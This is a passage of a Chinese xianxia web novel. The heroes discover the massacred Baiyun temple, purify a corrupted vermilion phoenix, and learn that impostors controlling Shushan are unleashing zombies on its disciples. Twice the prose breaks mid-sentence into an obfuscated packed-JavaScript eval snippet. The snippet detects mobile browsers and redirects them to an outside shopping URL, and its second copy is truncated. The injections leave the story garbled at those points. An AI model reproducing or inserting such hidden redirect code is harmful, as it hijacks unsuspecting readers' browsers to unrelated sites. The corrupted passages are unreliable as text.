段星河休息了一日,感觉没有那么痛苦了。步云邪熬了点参汤,端来看着他喝了,神色有些忧虑。段星河道:“怎么了?” 步云邪低声道:“这里不是久留之地。” 段星河也已经意识到了,他们长途跋涉了这么久,像朝圣一样来到这里,没想到蜀山的人却这样难以捉摸。他也有些心灰意冷了,道:“等过几天,咱们就走吧。” 步云邪嗯了一声,道:“你身上煞气的事,咱们再慢慢想办法。师父传你的四正罡气也很高明,先练着吧,多少能控制一些。” 段星河心里清楚这是没办法的办法。他从一开始到现在,一直靠四正罡气压制身上的煞气,但一直是杯水车薪。想要化解煞气只能另寻别的法子,可如今要从头找起,又谈何容易呢? 他不想让步云邪难受,道:“想开点,历练了这段时间,咱们的修为都长进了不少。要是一直在青岩山待着,你我还只是两个什么都不会的毛头小子呢。” 步云邪垂着眼没说话,心里觉得若是谁也不曾受伤,就算到现在大家还什么都不会,也不是件坏事。 这时候外头传来了脚步声,吴祎的声音隔着帘子传来。 “段兄,在吗?” 步云邪收拾了药碗,站了起来。吴祎手里拿着一个红色的锦盒,进屋道:“诶,怎么了,病啦?” 段星河的脸色还有些苍白,穿着一件白色的中衣坐在床头,显得有点憔悴。 他道:“没事,就是有点着凉。” 吴祎喔了一声,道:“山上早晚气温变化大,冷了多穿点,夜里别踢被子。” 段星河点了点头,道:“有事?” 吴祎想起了正事,眼睛亮起来道:“有大好事,掌教真人托我给你拿来的,说是蜀山的内功口诀,助你疗伤修行用的。” 他把锦盒递了过去,道:“掌教真人亲自给的心法,一定十分高明,快打开看看!” 段星河揭开来,见里头放着一本青色的书,封面写着灵光要诀。他还没说什么,吴祎兴奋的表情僵在了脸上,下意识道:“啊……怎么是这个?” 段星河道:“这个怎么了?” 步云邪洗完了碗,从外头回来了。他看着锦盒道:“他还真把蜀山的心法送来了,这书难练么?” 段星河翻开一页,见头一章的内容是引气入体,再往后是一些行气的基础,薄薄的册子两三下就翻完了,没有任何高深的内容。他十分诧异,怀疑吴祎拿错了。 吴祎也疑惑道:“这个是蜀山弟子入门的基础,就跟小孩子学的三字经、千字文似的,这个……层次有点低啊。” 要不是吴祎在旁边看着,段星河就把书扔了。他把灵光要诀放回锦盒里,淡淡道:“替我多谢掌教真人。” 吴祎也不知道掌教为什么要这么做,简直像打发要饭的,让他一个寻常弟子都觉得有些难堪。 他寻思了一阵子,觉得掌教真人这么做,必然有他老人家的道理。这么一想,他的精神又振奋起来,在朋友跟前也有了面子,道:“说不定是掌教真人想让你从头学习蜀山的功法,循序渐进,以后再传授你更高深的心法。要不然就是这本书里藏着什么奥秘,封皮里有什么丝绢之类的东西,话本里不都这么写的么?” 他说着试图去拆封皮,然而封面薄薄的一张,根本没有夹层。他翻来覆去地折腾了好一阵子,对着太阳看,甚至把纸放在火苗上烤,也没找出什么异常之处。 入门书就是入门书,浅显的就像一碗清汤白水煮的素面,一点多余的价值也没有。 他跟另外两人大眼对小眼,气氛一度十分尴尬。吴祎把书放回了桌上,清了清嗓子道:“好吧,没什么奥秘……但咱们也得领会掌教真人的用心,好生参悟。” 段星河觉得吴祎这么擅长自我攻略,都是被他师祖一天到晚精神控制搞出来的。老爷子随便扔点什么边角料给他,他就能脑补出一堆高深莫测的东西来,好像从来没见过点好的。他有些同情吴祎,却又不好说什么,只能叹了口气。 步云邪对他刚才的话有点兴趣,道:“还有什么高阶的功法,能说说么?” 吴祎想他们也不是外人,压低了声音道:“有个厉害的功法,叫太一心经,极其精深奥妙,凡是练过的人都飞升了。掌教真人一直痴迷于练此功法,以后都未必会传给大师伯,像我们这种寻常弟子也只能向往一下。不过段兄你资质这么好,又帮了正道这么大的忙,说不定掌教真人就是在考验你,打算过一阵子就把太一心经传给你了呢?” 连本门最优秀的弟子都难有资格修习,段星河觉得自己一个外人应该不可能有这种机缘,还是少自作多情为妙。吴祎猜到了他在想什么,道:“不过师祖肯定有要求的,法不轻传嘛。你至少要拜入蜀山,做个记名弟子。” 段星河觉得那倒是无妨,反正拜入蜀山也只是挂个名,不耽误自己做逍遥观的弟子。但是就怕天玺真人没把自己的事放在心上,拿一本入门的三字经敷衍自己。段星河不知道还要耗多久,再这样下去,自己早晚要煞气攻心,精神失常而死。 吴祎又坐了一会儿便走了,段星河坐在床上,感觉在这里待着也没什么意义了。往好处说,蜀山至多对他怠慢敷衍。要是天玺真人再下重手给他疗一次伤,很可能就把他直接送走了。 步云邪坐在一旁,显然也颇为失望。连正道的龙头都对他们这样敷衍,他们实在不知道该向谁寻求帮助。段星河忽然想起了四灵神,蜀山长老或许会心存偏私,但凤神座前的使者应该是公正的。他低声念诵义灵使的名号,想问一问它,自己接下来该怎么做。 他念诵了两遍,义灵使都没有回应。段星河闭上了眼睛,试图与它的灵力共鸣,感觉一团金光若隐若现,就像呼吸一样有节奏地起伏着。步云邪道:“怎么了?” 段星河挠了挠头,道:“它好像睡着了。” 用强烈一点的力量召唤,它应该会醒,不过暂时没这个必要。段星河只是想跟它聊一聊,也没什么急事。 神明也有打盹的时候,过去它被封印了这么久,已经睡习惯了。步云邪道:“它在什么地方?” 四周黑漆漆的,远处隐约有水流和鸟鸣的声音,它应该又回到了四灵山的那个山洞里。那个山洞确实挺舒服的,在里面不会被人打扰,还能补充灵力,是个休憩的好地方。 段星河道:“应该是在四灵山的山谷里。” 步云邪道:“那怎么办?” 段星河寻思了一下,道:“要不然咱们就去找它吧。去了问问义灵使该怎么做,在白云观叨扰一段时间也行。或者咱们自己买个地儿,静下心来修炼一阵子。” 步云邪觉得也好,反正没有更好的法子了。他道:“什么时候走?” 段星河活动了一下胳膊腿儿,感觉身体已经养的差不多了。他道:“明天吧,等会儿你跟兄弟们说一声,咱们一早就走。” 次日一早,段星河等人收拾了东西,去昭元殿跟天玺真人告辞。陈松屿不在,他的女儿刘毅君带着几个弟子在殿外当值。天玺真人有些意外,道:“怎么这就走?” 段星河道:“感谢掌教为我打通经脉,我感觉身体已经好了许多,打算继续历练。等修为提上去了,煞气自然也能压制住了。” 天玺真人见他们去意已决,神色淡淡道:“那好,祝你们一路顺风。” 段星河等人行过了礼,从大殿里出来。刘毅君微微点头,道:“多多保重。” 段星河道:“多谢,有缘再见。” 一行人离开了蜀山,有种怅然若失的感觉。花了一年半走到这里,却又只能从头再来,而且前路渺茫,实在让人有些气馁。 其他人都显得有些没精打采,司空玉已经送完了琴,按理说该回大新去了。但六幺没提,司空玉也就没说。先前他们战胜了那么多妖魔,已经是同生共死的兄弟了,六幺也舍不得就这么跟他们分开,大家再一起待一段时间也好。 旁边的马车掀着帘子,司空玉和魏小雨坐在车里,看着外面的风景。春天到了,漫山遍野开着桃花、梨花,风一吹花雨纷纷飘落,空气都是香的。 段星河转头道:“要见到小蝉了,开不开心?” 魏小雨确实挺高兴,扒着车窗道:“嗯,我最近教了小对眼一个新把戏,到时候演给他看。” 步云邪有点好奇,道:“什么把戏?” 魏小雨兴奋道:“后空翻,真的,翻的可溜了!” 众人都有些惊讶,没想到它还学了新本事。司空玉笑道:“我作证,我刚看过。” 步云邪微微扬眉,道:“宋姑娘的猫会后空翻,李兄知不知道?” 李玉真的声音从大车里传出来,道:“不知道,我没去她家看过!” 宋胡缨一脸面瘫,对他们的话充耳不闻。小对眼嗷呜一声叫,从车窗里露出了一双毛茸茸的耳朵。魏小雨认真道:“等会儿我让它演给你们看,记得要夸它哦。” 大车走了两日,来到了四灵山脚下,头顶的天黑沉沉的。前阵子他们离开的时候,这里已经云开雾散,有了恢复的迹象。此时不知道为什么,又弥漫起了一股阴沉的气息。 段星河抬头望着天空,有种不好的预感。其他人的神色也凝重起来,感觉这里又被什么妖物盯上了。 “又是千机门的人?” 步云邪凝神感知了片刻,道:“不像。” 这地方的灵气充沛,就像一块肥肉。就算千机门的人败退了,其他宗门的人也对这里虎视眈眈。段星河意识到白云观的道士有危险,头上不觉间渗出了冷汗,道:“上去看看!” 他往山上赶去,其他人跟在他身后,心中很是不安。一行人来到了半山腰,白云观的大门敞开着,一阵难闻的气息扑面而来。段星河停住了脚步,面前的情形让人震惊。一个道士趴在门槛上断了气,他的背心有个腐烂的大洞,竟是在逃命的过程中被杀了。 魏小雨个子小,看不着前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14191984|138533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头的情形,不知道师兄们为什么站住了。几个身高八尺的青年站在前面,就像一堵墙。她想挤到前面去,司空玉一把拉住了她,道:“先别过去。” 地上的血迹已经干了,淋淋漓漓地撒了一路。段星河感觉浑身都凉了,颤抖着手把尸体翻了过来,那道士脸上的肉都已经没了,森森白骨露了出来。看这个腐烂程度,他去世总有十天左右了。 段星河抬眼向道观里望过去,庭院里一片凌乱,干涸的血迹漫了一地。众人的心沉了下来,意识到这一场屠杀已经发生很久了。这些道士的尸体倒在这里,不知道多久才会被人发现,而冬青子和小蝉很有可能也在其中。 一阵风吹过,带来透骨的凉意,那股难以形容的气息散播的更远了。 段星河不想让小孩子看到这么血腥的场面,道:“县主,你带着小雨在外面等一等吧。” 司空玉点了点头,和结香、赵大海一起等在道观外面。其他人跟着段星河进了白云观,众人把道观搜了一遍,果不其然,冬青子等人回来之后,这里遭受了一场屠杀。 大家一共找到了十具尸体,都抬到了庭院中,并排放在了正殿的前方。那些人的尸体都已经残破不堪了,除了几个年轻一些的人之外,还有一个年纪大的死者和一个十岁左右的孩子。 他们的脸已经分辨不出是谁了,那具年老的尸体的骨头有些变形。段星河想起冬青子有点佝偻的脊背,心像是被攥紧了一般。这位老道长是自己来这个世界之后,少有的几个会关心自己和伙伴们的人。他笑的时候脸上的皱纹聚在一起,眯着眼很是和善。如果自己还有爷爷,应该就是他这样吧。 伏顺红了眼圈,心里也很难过。还记得刚见面的时候,冬青子一直缩头缩脑的,逮着机会就要逃跑。他是个胆小怕事的人,就像无数普通人一样,没什么大本事,却又很善良。他本来应该在白云观里晨钟暮鼓地安度晚年的,却还是没能逃过劫难。他那么惜命的人,临终之前该有多害怕? 宋胡缨低声道:“要是没有他帮忙,咱们身上的诅咒也解除不了。” 其他人更加沉默了,老道士为他们指了条明路,可他在受难的时候,自己这些人却什么都不知道。 段星河攥紧了拳头,心中十分懊悔。如果自己阻止他们回来,说不定就可以避免这一场灾难了。 他哑声道:“老先生,我没能早一点回来保护你们……对不起。” 不光他难过,其他人也很不好受。步云邪低声道:“别自责,不是你的错。” 伏顺也道:“就是,他们在这里这么多年了,以前也过得好好的,谁也想不到会发生这样的事。” 他们正说着话,忽然见小雨从外面跑了过来。司空玉等人在后面追她,大声道:“小雨,别过去!” 魏小雨在外面等了好久,心里渐渐不安起来。她想起了大师兄他们的反应,表情都很凝重。她忽然意识到,白云观应该出事了。 小蝉还在这里,他出事了没有? 她踮起脚来往道观里看,大门半掩着,什么也看不到。她心一横,挣脱了司空玉,拼命跑了进去。赵大海蹲在远一点的地方,没来得及拦住她。魏小雨冲到庭院中间,看到了那十具排列在一起的尸体,露出了难以置信的表情。 好多死人,好可怕—— 她的呼吸颤抖着,目光停在了最小的那一具上。她后退了一步,道:“不是他吧……” 她求助的目光看向了步云邪。步云邪也没办法回答她,避开了眼神。 那种冲击力对一个小孩子来说简直无法承受,她不光失去了朋友,更有一种直面死亡的恐惧感。不久前还跟自己有说有笑一起玩的小伙伴,如今却变成了一具冷冰冰的尸体。魏小雨接受不了这样的事实,浑身发抖,哇地一声哭了。 “小蝉……” 段星河把她搂了过去,她的脑袋埋在段星河的身上,滚烫的眼泪很快打湿了他的衣裳。 魏小雨哽咽道:“他说他一直在这里……让我来找他玩,要我记得带着猫……呜……” 段星河摸了摸她的头发,心里也很不好受,道:“我知道,我明白。” 魏小雨哭了一阵子,哑声道:“大师兄……有一天,我也会这么死掉吧?” 段星河不知道她怎么就联系到了自己身上,道:“你还小,不会的。” 魏小雨愤怒道:“长大了就会死,你们、我,大家以后都会死的!” 她的情绪太激动了,钻进了痛苦的牛角尖,整个人都变得混乱起来。段星河沉默着,其他人面对她的质问,也感到了深深的无力。亦或他们心中也有同样的恐惧,只是不能像个孩子一样宣之于口,这世间又有谁能坦然地面对死亡呢? 大家都不知道该如何安慰她。司空玉走了过来,握住了魏小雨的手,带着她在一块大石头上坐下了。她注视着魏小雨的眼睛,道:“安静下来,深呼吸。” 她的声音平和,有种让人无法抗拒的力量。魏小雨虽然还在哭,声音却低了下去,开始调整自己的呼吸了。司空玉给她擦去了眼泪,温声道:“生老病死都是正常的事,不能因为害怕死亡就惶惶不可终日。人生的意义,在于这一辈子经历了什么。你才十二岁,以后还有很长的路,有很多事等着你去经历,那些都是很美好的。” 魏小雨还是不甘心,哽咽道:“可是小蝉死了,他才十一岁。” 司空玉的态度依然平静,道:“所以你要好好地活着,替他把他没能经历的人生好好活一遍,好么?” 她虽然年轻,却有种超然的智慧。温柔的话如同一场细雨,轻轻地洗去了魏小雨的痛苦,也让其他人有所安慰。 魏小雨若有所思,一直垂着头,还是有些难过。 司空玉拥抱了她一下,道:“好好送他一程吧,他肯定也不希望看到你哭哭啼啼的。” 魏小雨点了点头,抬手擦了一下脸,想让自己坚强起来。 尸体一直这样放着不行,段星河道:“弄些柴火来,把几位道长火化了吧。” 伏顺和赵大海去周围找了些柴草,堆在一起,把尸体抬在上面。伏顺浇上了桐油,点燃了几个火把。众人将火把引燃了柴草,扔在了火堆里。大火熊熊燃烧起来,很快冒起了滚滚浓烟,火舌吞没了那些道士的遗体。 “茫茫三界,浩浩百川。生死有短长之日,轮回无暂息之间——” 李玉真闭目念了一段经文,为这些道友超度。 “人生在世,如石火之电光,命丧百年,似朝霜之晓露……欲除有漏之因,顿悟无生之道。仰冀灵魂,俯垂谛听。” 103.蜀山 一 头顶的那个旋涡还在吸取此处的力量,段星河望着阴沉的天空,皱起了眉头。 这件事不能就这么算了,必须让行凶者付出代价! 他凝神召请义灵使,嗡地一声金光一现,一个层层嵌套的金色车轮出现在他面前。 “叫我何事?” 它总算醒过来了,可一切已经太迟了。段星河道:“这山中又有其他宗门的人来了么?” 义灵使道:“我出去游历了一阵子,回来就进山谷里睡觉了。发生什么事了?” 它注意到了那些被火化的道士,显得有些惊讶。 段星河的神色凝重,道:“这些是白云观的道士,大约半个月前,他们被人杀了。” 义灵使很意外,它知道这些道士一直在四灵山修行,守卫着山谷,不让外人擅闯,也不让门下弟子去打扰四灵神。如今他们遭遇了不幸,义灵使也有些动容。 它道:“是谁干的?” 众人都没有说话,段星河抬起头来,见天空中掠过一个巨大的黑影,把太阳都遮蔽了。有什么尖锐地鸣叫了一声,张开巨大的翅膀飞过来,现身在他们面前。 这边浓烟滚滚的,吸引了敌人的注意。不用他们去找,对方已经自己来了。 一只巨大的凤凰停在半空中,硕大的翅膀时而挥动一下。它通体漆黑,只有一双眼睛是赤红的,周身弥漫着一股阴邪之气,黑色的火焰不住向外涌出来。 魏小雨抬头望着面前的巨鸟,从来没想过传说当中的瑞兽会是这个样子,愕然道:“是凤凰,它好邪恶……” “别管它了,交给你师兄。” 司空玉拉着魏小雨,和结香一起退到后面,免得打起来被波及到。赵大海架起了盾牌,在前面保护她们。 这本来是守护蜀山的神兽,却不知道为什么变成了这个样子。这个世界的四灵神都被污染了,玄武白天睡觉,夜里吃伥鬼吃剩的残骸;白虎为邪宗驱使,到处吃人;青龙要求信徒供奉人牲,传播诅咒。他们本以为朱雀守卫着蜀山会好一些,没想到它直接变成了这个鬼样子。 段星河攥着幽冥剑,抬头望着它,大声道:“是你杀了这些白云观的道友么?” 黑凤凰的神色十分轻蔑,发出了锐利的声音。 “不是本座亲手杀的,不过也差不多了。” 它这么说,多半是有同伙。段星河气得眼都红了,道:“你们为何杀人?” 黑凤凰道:“他们没本事还占据着这里,就是自寻死路。我要替主人收集这里的灵力,这帮臭道士在这里碍眼得很,当然要清理掉他们!” 其他人也愤怒起来,白云观的道士世代居住在这里,一向与人为善。这些妖邪抢夺地盘就算了,还要杀人,简直无法无天。 李玉真愤然道:“这里可是巴蜀,蜀山就在左近,你们怎么敢做这样的事,谁指使你的?” 黑凤凰发出了一声冷笑,根本没把这些年轻人放在眼里,轻蔑道:“想知道啊,打赢我再说。” 义灵使道:“要我帮忙么?” 段星河最近修为又有长进,想试试自己的能力,道:“不用,我自己来。” “射日弓——” 段星河将幽冥剑化作一张巨大的弓,以灵力为箭,陡然拉满。一道紫色的灵力嗖地一下射出去,像流星一样瞬间划破了天空。 凤凰一拍翅膀飞到了高处,接连几箭擦着它的身体划过去,却总是射不中它。 “就这?” 这家伙这么大个头,倒是挺灵活的,比那头青龙机灵多了。 它在空中盘旋着,发出讥诮的笑声,道:“来啊,来射我啊。你这毛头小子,能碰得到本座么?” 它不光身体变得漆黑,心性也尖酸刻薄。 “这家伙是四圣兽中嘴最欠的一个。”段星河想着,握弓的手攥得发白,很想在它的屁股上踢一脚。 他拉满了弓,追着它又放了数箭,却不知为何渐渐觉得身体有些不适。黑色的火焰在他的视线里灼烧着,让他感觉弓弩变得沉重起来。 黑凤凰落下了几片羽毛,被沾上的草木立即就枯萎了。黑色的烈焰在它周身燃烧,那股邪恶的力量会掠夺人的生命力。难怪它不怕段星河拿箭射自己,反而要引得他一直盯着自己看。 段星河意识到它在窃取自己的力量,闭上了眼,可不看它怎么赢? 步云邪低声道:“再放一箭,有没有把握射中?” 他手中凝结着白色的灵光,寒气从他周身散发出来。段星河明白了他的意思,自信道:“手到擒来。” 步云邪嘴角一扬,将一道寒气拍了过去。寒风带着大量的霜花裹住了那只凤凰,它身上沾满了冰雪,身体变得僵硬起来。 段星河蓄足了力量,嗖地一箭射了过去。灵光化成的箭猛地洞穿了它的右翼,半空中登时羽毛乱舞,它像断线的风筝似的摔了下来。 众人呼啦一下子退开,黑凤凰一头栽在地上,羽毛零落了一地。它周身还燃烧着黑色的火焰,羽毛也有剧毒,大家不敢靠近它,也不知道该拿它怎么办才好。凤凰的翅膀还在流血,扑腾了几下也起不来。段星河冷冷道:“就这?” 黑凤凰气得不行,道:“你们这些小崽子搞偷袭,刚才我是大意了,没有闪——” 段星河懒得跟它废话,回头看义灵使,道:“怎么办?” 义灵使道:“它被邪气污染了,得先净化了再说。” 段星河想起山顶有个清净泉,道:“洗洗能恢复正常么?把它弄过去试试吧。” 义灵使嗡地一声响,从体内分裂出一个轮子,飞过去套在了黑凤凰的头颈上。那家伙还想挣扎,金色的轮子骤然缩小,就像个紧箍咒一样卡在它的脖子上。它喘不过气来,挣扎道:“松开……咳咳,勒死我了……” 义灵使淡淡道:“一会儿就松,你先忍一忍吧。” 它说着,金色的轮子浮了起来,拽着黑凤凰向山顶飞了过去。那股力气极大,黑凤凰不想被勒死,只好跟着拍翅膀,歪歪斜斜地飞到了山顶。众人感到了大他者的碾压感,互相看了一眼,有点说不上来的心情。六幺感叹道:“真厉害啊,治它跟玩似的。” 周围的云雾若隐若现,一个灰衣人站在远处的山崖上,一直悄然注视着这边。他见朱雀被这些人擒下了,有些犹豫,片刻还是决定放弃了它。那人把一个紫金葫芦往空中一抛,葫芦陡然变得有一人多大,他骑在上面飞走了。结香站在人群边上,转头看着远处的山间,道:“那边有人么?” 伏顺望了过去,什么也没看见,道:“有吗?” 白雾散去了,没什么异常,只有几块嶙峋的山石和松柏。她眨了眨眼,道:“可能是我看错了吧。” 众人一起上了山顶,到了清净泉跟前,就见一个金色的车轮按着一只大鸟,在泉水里直扑腾。凤凰不甘心就这么被净化了,大声道:“洗干净了,放开我。喂,别踩我背!鸟的背是能让人随便踩的吗?” 扑通——哗啦—— 义灵使生就一副铁石心肠,不管它说什么,照旧把它按回水里。每次水漫过头顶,都有一圈黑色的波纹荡开来,跟洗砚台似的,也不知道它攒了多少脏东西。 凤凰身上黑色的火焰被扑灭了,渐渐现出了本来的颜色,是一只红里带着金色的凤凰,丰满的羽翼极其华丽。这才是朱雀本来的样子,神圣清净,让人心生敬畏。 朱雀身上的羽毛湿了,翅膀和尾羽十分沉重,只好化作了人形。他漆黑的头发垂在泉池边,身上穿着金红交织的锦袍,外面披着黄金缕织成的云肩,跟头发都缠在了一起,漂亮而又狼狈。众人还是头一次见到四圣兽变成人的模样,睁大了眼睛。他浑身都湿透了,一双凤眼变成了黑色,模样极其俊美。 他一副大梦初醒的模样,道:“怎么回事……我怎么会在这里?” 净化之后,它的声音也变得温柔持重起来,跟之前简直判若两人。 “你醒了,陵光,这段时间的事还记得么?” 四圣兽与四灵神本来就是老相识,义灵使漂浮在它面前,金轮骤然松开,从他脖子上脱落下来,嵌合回了自己的身体。朱雀出了片刻神,还以为这段时间自己做了个梦,但他渐渐意识到一切都是真的。 朱雀十分懊悔,道:“是我心志不坚,受了恶人的污染,堕为了邪神。我没能保护好蜀山,还助纣为虐,伤害了不少无辜之人……” 现在说这些也没用了,段星河道:“是什么人污染了你,神君知道么?” 朱雀的神色沉了下来,道:“是刘伯桥,有人假扮成他的模样,一直在放大我的恶念,煽动心魔控制了我……他已经不是他自己了,蜀山的掌教真人恐怕也……” 司空玉心中早有怀疑,此时皱起了眉头,道:“难怪天玺真人对我送去的琴没有反应,原来是个冒牌货!” 段星河的心提了起来,道:“刘伯桥是谁假扮的?” “我不知道,”朱雀道,“他让我来帮他掠夺灵力,刚才他还在附近的。” 周围的气息宁静,那人似乎已经走了,应该是回了蜀山。朱雀忽然打了个激灵,道:“不好——这边的事情一败露,他们很可能要狗急跳墙,咱们必须赶紧回去!” 蜀山的高层已经被邪魔入侵了。朱雀一旦清醒过来,那些伪装者就无法继续鸠占鹊巢了。能拿走的,他们要一并带走;拿不走的,必然要统统毁掉。如果不赶紧去阻止,白云观的悲剧恐怕要再次上演。 众人意识到了情势有多危险,顿时出了一身冷汗。段星河立刻道:“赶紧回去,去找刘毅君,让她保护好门下弟子!” 赶车太慢了,快的话也得花一天时间,等到了就晚了。义灵使分化出了几个金轮,道:“我带你们去吧。” 几个金轮套住了众人,周围生出了球形的金光。义灵使道:“走吧——” 就见金光一闪,光球漂浮到了半空中,朝蜀山方向飞去。 亥时末,蜀山中夜雾沉沉。山上的灯火熄灭了,蜀山的弟子都陷入了熟睡。几名值守的弟子站在昭元殿外,有些疲惫。 一人打了个呵欠,道:“好困……” 吴祎是他们的队长,低声斥责道:“懒蛋,刚换班才多久,你就犯困。” 那人不服气道:“刚才老十三脑袋还一点一点的呢,别光说我啊。” 又一人道:“别说话了,大师姐不知道什么时候就来巡查,逮到你们偷懒可要罚的!” 众人对刘毅君十分敬畏,都老实多了。安静了片刻,一人道:“欸,那是什么……好像是个葫芦?” 其他人抬头望过去,什么也没看见,道:“你看见蛾子了,还是困的眼花了?” 那人挠了挠头,觉得可能真是自己看走眼了,便沉默了下来。 刘伯桥落了地,将紫金葫芦收到袖子里,身体化作一阵黑烟,嗡地一声穿墙而过,径自来到了昭元殿的书房前。莲花铜炉里飘散出袅袅烟气,丝帛制成的山水屏风后点着一盏灯,映出一个打坐的身影。 刘伯桥站在屏风后,低声道:“主上,属下有急事禀报。” 天玺真人道:“过来说。” 刘伯桥绕过了屏风,天玺真人盘膝坐在床上。他穿着一身褐色的道袍,右手拿着一串翠玉珠,闭着眼养气。刘伯桥道:“钦天监的那帮小子离开蜀山之后,直接去了四灵山。白云观被屠的事败露了……” 天玺真人睁开了眼,皱眉道:“败露了又怎么样,朱雀不是跟你在一起么,你们两个联手,难道对付不了几个元婴期的人?” 刘伯桥显得十分为难,低声道:“属下自然是不怕他们的,可……那小子鬼心思多得很,之前跟咱们藏了私。他已经把四灵神之一放出来了,现在义灵使听他们的。那家伙的本事在朱雀之上,我们打不过他。” 天玺真人的脸色十分难看,道:“朱雀呢?” 刘伯桥道:“它被义灵使降服了,那帮人用清净泉水洗去了它身上的邪力。它现在应该已经想起从前的事了。” 天玺真人咬牙切齿道:“所以你就一个人夹着尾巴回来了?” 刘伯桥小声道:“属下想赶紧回来给主上报信,并非贪生怕死。” “没用的东西!”天玺真人猛地把手里的串珠砸了过去,绳子断裂了,翠绿的珠子弹跳着滚了一地。 刘伯桥吓了一跳,跪在了地上,连忙道:“主上息怒!” 几名守卫的弟子在大殿外听见噼里啪啦的声音,互相看了一眼,道:“怎么了?” 吴祎想了想,道:“老十三,你送杯茶去。师祖要是没事,你就退出来。” 一名弟子答应了,去隔间泡了一壶云雾茶。他怕打扰了掌教休息,轻手轻脚地走了过去。 吴祎怕有贼,万一惊扰到掌教,明天他们都要挨罚。他让其他几人好生守着正殿门口,自己在大殿外巡视了一圈。他来到了书房外的窗户下,见里头还亮着灯,刘伯桥的声音传了出来。 “……他们恐怕很快就要来了,咱们怎么办?” 吴祎有些奇怪,方才他一直守在大殿外,没见大师伯过来,不知道他是怎么进去的。吴祎猫着腰凑近了点,想听的清楚一些。 天玺真人本来还想慢慢把蜀山倒空,如今是不成了。他下床站了起来,阴沉道:“事已至此,还能怎么办。抢在他们来之前,把能拿的统统拿走,带不走的全都杀光、烧光,也算是给教主立了一大功。” 刘伯桥还有些迟疑,天玺真人吩咐道:“立刻行动,天亮之前把事情办完。金环使就在附近,处理利索了咱们一起回万象门。” 吴祎在窗户底下听得一清二楚,骇得手都凉了,简直不敢相信自己的耳朵。大家一直以来信任的掌教和师父居然是敌人假扮的,蜀山上下这么多弟子,竟然没有一个人发现。听话里的意思,他们的行迹已经败露了,今晚就要大清洗。 刘伯桥走了出去,迎面撞上了来送茶的弟子。那弟子道:“师伯、师祖,请用茶。” 刘伯桥审视着他,见他脸色发白,额头上满是汗水,道:“多久了?” 弟子端着茶盘的手不住打颤,哑声道:“刚沏好的,不冷不烫,刚好入口。” 刘伯桥的声音沉了下来,道:“我是说,你偷听了多久了?” 那弟子打了个寒战,手里的茶盘落在了地上,颤声道:“弟子不敢,师伯……师伯饶命!” 看来是都听见了,那就没有留着他的必要了。刘伯桥露出一个狞笑,道:“小子运气不错,那就由你做第一个吧。” 刘伯桥扭了扭脖子,体内仿佛有一股力量躁动不安。大殿里的烛火摇曳着,他的影子投在窗户上,仿佛要摆脱禁锢似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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被咬伤的弟子抽搐了一阵子,脸变成了灰色,缓缓地爬了起来,也开始抓人、咬人。其他弟子见了都十分恐惧,摇头道:“怎么回事,好兄弟,你们醒醒啊!” 那两具丧尸已经听不懂人话了,咆哮着扑上去,对着另外几个人一通撕咬,谁也没能幸免于难。 天玺真人看着那情形,露出了满意的笑容。他缓缓道:“好孩子,出去转转。咱们万象门来接管蜀山了,把这个好消息传出去,让更多的人加入咱们!” 那几个丧尸听话地爬起来,歪歪斜斜地走了出去。远处有些巡山弟子打着灯笼经过,遇上了他们,正要盘查,几个丧尸朝他们扑了过去。灯笼落在地上,点燃了草丛,大火蔓延开来,到处一片混乱。 血洗开始了,刘伯桥走出了昭元殿,不时杀几个遇见的弟子,让他们把这场灾难传播的更快一些。丧尸一传十,十传百,在整个蜀山上游荡,所过之处都是惨叫的声音。 那么多人死在自己面前,吴祎恐惧到了极点,觉得这简直就是一场噩梦。他浑身都被冷汗湿透了,心知一定要赶紧把这个消息传出去,不然还会有更多人受害。他趁着没人注意,悄然离开了这里,拔腿向西边跑去。 咕咚、咕咚,他心脏狂跳着,还好后面没人追过来。吴祎穿过了吊桥,冲到了弟子房跟前,用力拍刘毅君的门。 “大师姐,快醒醒,快啊!” 大晚上的,他一个男弟子闯过来十分无礼。刘毅君开了门,皱眉道:“什么事?” 吴祎喘着气,把刚才看到的事跟刘毅君说了一遍。这种事突然跟谁说,都让人难以相信,更何况他亲眼看见异变的怪物是大师姐的父亲。刘毅君有些迟疑,道:“真的?” “我怎么可能拿这种事骗人,值守的师弟们都死了!”吴祎急得快哭了,回头指着中峰道,“它们快来了,赶紧想想办法!” 远处的山头上冒着火光,风里传来了丧尸的咆哮,弟子房这边人最多,它们很快就要来到这里了。 刘毅君意识到情况不妙,果断回屋拿起了剑,去庭院里撞起了钟,当当当当当当—— 摄人心魄的钟声回荡在西峰上,弟子们被吵醒了,从屋里出来,揉着眼道:“怎么了?” 刘毅君的神色严肃,大声道:“列队!有敌人,准备迎战!” 为了应对邪魔入侵,蜀山时常会进行一些演习。弟子们清醒过来,拿了兵刃按队列站好。小师叔也从屋里出来了,他披着衣裳,看着急忙奔走的弟子们有些茫然。他过来道:“怎么了?” 大家以为是寻常的训练,本来没放在心上。刘毅君的神色凝重,简短道:“蜀山有邪魔入侵,伪装成了掌教真人和师父的模样。山上有不少丧尸游荡,马上就要过来了,咱们一定要守住西峰!” 众弟子意识到情况危急,应声道:“是,誓死守卫西峰!” 年长一辈的陈松屿和肖月明云游在外,山上能靠得住的只有小师叔张青蜉和大师姐了。大家习惯了听大师姐的吩咐,如同一群忠诚的士兵。小师叔和刘毅君得知了这件事,没有质疑、痛苦,反而能迅速冷静下来应对,好像早就料到会有这么一天了。 她是刘伯桥的女儿,父亲有一点变化,别人兴许看不出来,她心里却最清楚。小师叔聪明敏锐,肯定也早就看出了师兄与以前大不相同,只是迫于形势不敢说出口来。 